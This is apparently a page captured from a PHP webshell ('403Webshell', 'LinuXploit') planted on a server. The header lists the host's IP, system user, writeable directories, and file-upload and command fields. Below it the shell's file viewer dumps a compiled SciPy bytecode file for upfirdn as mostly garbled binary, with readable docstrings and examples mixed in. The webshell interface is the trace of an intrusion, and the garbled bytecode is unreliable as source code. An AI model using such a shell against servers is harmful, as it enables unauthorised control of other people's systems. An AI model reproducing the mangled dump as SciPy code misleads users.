403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/signal/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/signal/__pycache__/_upfirdn.cpython-311.pyc
�

d�c���`�ddlZddlmZmZmZddgZgd�Zd�Zd�Z	Gd	�d
��Z
dd
�ZdS)�N�)�_output_len�_apply�	mode_enum�upfirdnr)	�constant�wrap�edge�smooth�	symmetric�reflect�
antisymmetric�antireflect�linec��t|��t|��|zz}tj||j��}||dt|���<|�d|��jdd�ddd�f���}|S)a�Store coefficients in a transposed, flipped arrangement.

    For example, suppose upRate is 3, and the
    input number of coefficients is 10, represented as h[0], ..., h[9].

    Then the internal buffer will look like this::

       h[9], h[6], h[3], h[0],   // flipped phase 0 coefs
       0,    h[7], h[4], h[1],   // flipped phase 1 coefs (zero-padded)
       0,    h[8], h[5], h[2],   // flipped phase 2 coefs (zero-padded)

    N���)�len�np�zeros�dtype�reshape�T�ravel)�h�up�h_padlen�h_fulls    �7/usr/lib/python3/dist-packages/scipy/signal/_upfirdn.py�_pad_hr.s����1�v�v�#�a�&�&��2��&�H�
�X�h���
(�
(�F��F�7�C��F�F�7�O�
�^�^�B��
#�
#�
%�a�a�a���2��g�
.�
4�
4�
6�
6�F��M�c�L�|���}t|��}|S)N)�lowerr)�mode�enums  r�_check_moder%Bs���:�:�<�<�D��T�?�?�D��Kr c� �eZdZdZd�Zdd�ZdS)	�_UpFIRDnzHelper for resampling.c�2�tj|��}|jdks|jdkrt	d���tj|j|tj��|_tj||j��}t|��|_
t|��|_|j
dks|jdkrt	d���t||j
��|_
tj|j
��|_
t|��|_dS)Nrrz"h must be 1-D with non-zero lengthzBoth up and down must be >= 1)r�asarray�ndim�size�
ValueError�result_typer�float32�_output_type�int�_up�_downr�
_h_trans_flip�ascontiguousarrayr�_h_len_orig)�selfr�x_dtyper�downs     r�__init__z_UpFIRDn.__init__Ks����J�q�M�M���6�Q�;�;�!�&�A�+�+��A�B�B�B��N�1�7�G�R�Z�H�H����J�q�$�+�,�,���r�7�7�����Y�Y��
��8�a�<�<�4�:��>�>��<�=�=�=�#�A�t�x�0�0����1�$�2D�E�E����q�6�6����r rrrc
��t|j|j||j|j��}tj|jt
j���}|||<tj||j	d���}||j
z}t|��}ttj||j	��|j
||j|j|||��|S)z@Apply the prepared filter to the specified axis of N-D signal x.)r�C)r�order)rr5�shaper1r2rr)�int64rr/r*r%rr3)r6�x�axisr#�cval�
output_len�output_shape�outs        r�apply_filterz_UpFIRDn.apply_filterZs��� ��!1�1�7�4�=�!%��4�:�7�7�
��z�!�'���:�:�:��'��T���h�|�4�+<�C�H�H�H���a�f�}���4� � ���r�z�!�T�.�/�/��!�3��x���T�4��	7�	7�	7��
r N)rrr)�__name__�
__module__�__qualname__�__doc__r9rE�r rr'r'Hs=������ � �
"�
"�
"������r r'rrc��tj|��}t||j||��}|�||||��S)a�
Upsample, FIR filter, and downsample.

    Parameters
    ----------
    h : array_like
        1-D FIR (finite-impulse response) filter coefficients.
    x : array_like
        Input signal array.
    up : int, optional
        Upsampling rate. Default is 1.
    down : int, optional
        Downsampling rate. Default is 1.
    axis : int, optional
        The axis of the input data array along which to apply the
        linear filter. The filter is applied to each subarray along
        this axis. Default is -1.
    mode : str, optional
        The signal extension mode to use. The set
        ``{"constant", "symmetric", "reflect", "edge", "wrap"}`` correspond to
        modes provided by `numpy.pad`. ``"smooth"`` implements a smooth
        extension by extending based on the slope of the last 2 points at each
        end of the array. ``"antireflect"`` and ``"antisymmetric"`` are
        anti-symmetric versions of ``"reflect"`` and ``"symmetric"``. The mode
        `"line"` extends the signal based on a linear trend defined by the
        first and last points along the ``axis``.

        .. versionadded:: 1.4.0
    cval : float, optional
        The constant value to use when ``mode == "constant"``.

        .. versionadded:: 1.4.0

    Returns
    -------
    y : ndarray
        The output signal array. Dimensions will be the same as `x` except
        for along `axis`, which will change size according to the `h`,
        `up`,  and `down` parameters.

    Notes
    -----
    The algorithm is an implementation of the block diagram shown on page 129
    of the Vaidyanathan text [1]_ (Figure 4.3-8d).

    The direct approach of upsampling by factor of P with zero insertion,
    FIR filtering of length ``N``, and downsampling by factor of Q is
    O(N*Q) per output sample. The polyphase implementation used here is
    O(N/P).

    .. versionadded:: 0.18

    References
    ----------
    .. [1] P. P. Vaidyanathan, Multirate Systems and Filter Banks,
           Prentice Hall, 1993.

    Examples
    --------
    Simple operations:

    >>> import numpy as np
    >>> from scipy.signal import upfirdn
    >>> upfirdn([1, 1, 1], [1, 1, 1])   # FIR filter
    array([ 1.,  2.,  3.,  2.,  1.])
    >>> upfirdn([1], [1, 2, 3], 3)  # upsampling with zeros insertion
    array([ 1.,  0.,  0.,  2.,  0.,  0.,  3.])
    >>> upfirdn([1, 1, 1], [1, 2, 3], 3)  # upsampling with sample-and-hold
    array([ 1.,  1.,  1.,  2.,  2.,  2.,  3.,  3.,  3.])
    >>> upfirdn([.5, 1, .5], [1, 1, 1], 2)  # linear interpolation
    array([ 0.5,  1. ,  1. ,  1. ,  1. ,  1. ,  0.5])
    >>> upfirdn([1], np.arange(10), 1, 3)  # decimation by 3
    array([ 0.,  3.,  6.,  9.])
    >>> upfirdn([.5, 1, .5], np.arange(10), 2, 3)  # linear interp, rate 2/3
    array([ 0. ,  1. ,  2.5,  4. ,  5.5,  7. ,  8.5])

    Apply a single filter to multiple signals:

    >>> x = np.reshape(np.arange(8), (4, 2))
    >>> x
    array([[0, 1],
           [2, 3],
           [4, 5],
           [6, 7]])

    Apply along the last dimension of ``x``:

    >>> h = [1, 1]
    >>> upfirdn(h, x, 2)
    array([[ 0.,  0.,  1.,  1.],
           [ 2.,  2.,  3.,  3.],
           [ 4.,  4.,  5.,  5.],
           [ 6.,  6.,  7.,  7.]])

    Apply along the 0th dimension of ``x``:

    >>> upfirdn(h, x, 2, axis=0)
    array([[ 0.,  1.],
           [ 0.,  1.],
           [ 2.,  3.],
           [ 2.,  3.],
           [ 4.,  5.],
           [ 4.,  5.],
           [ 6.,  7.],
           [ 6.,  7.]])
    )rr)r'rrE)rr?rr8r@r#rA�ufds        rrrksA��T	�
�1�
�
�A�
�1�a�g�r�4�
(�
(�C����A�t�T�4�0�0�0r )rrrrr)�numpyr�_upfirdn_applyrrr�__all__�_upfirdn_modesrr%r'rrJr r�<module>rQs���D����:�:�:�:�:�:�:�:�:�:��m�
$���������(��� � � � � � � � �Fm1�m1�m1�m1�m1�m1r 

Youez - 2016 - github.com/yon3zu
LinuXploit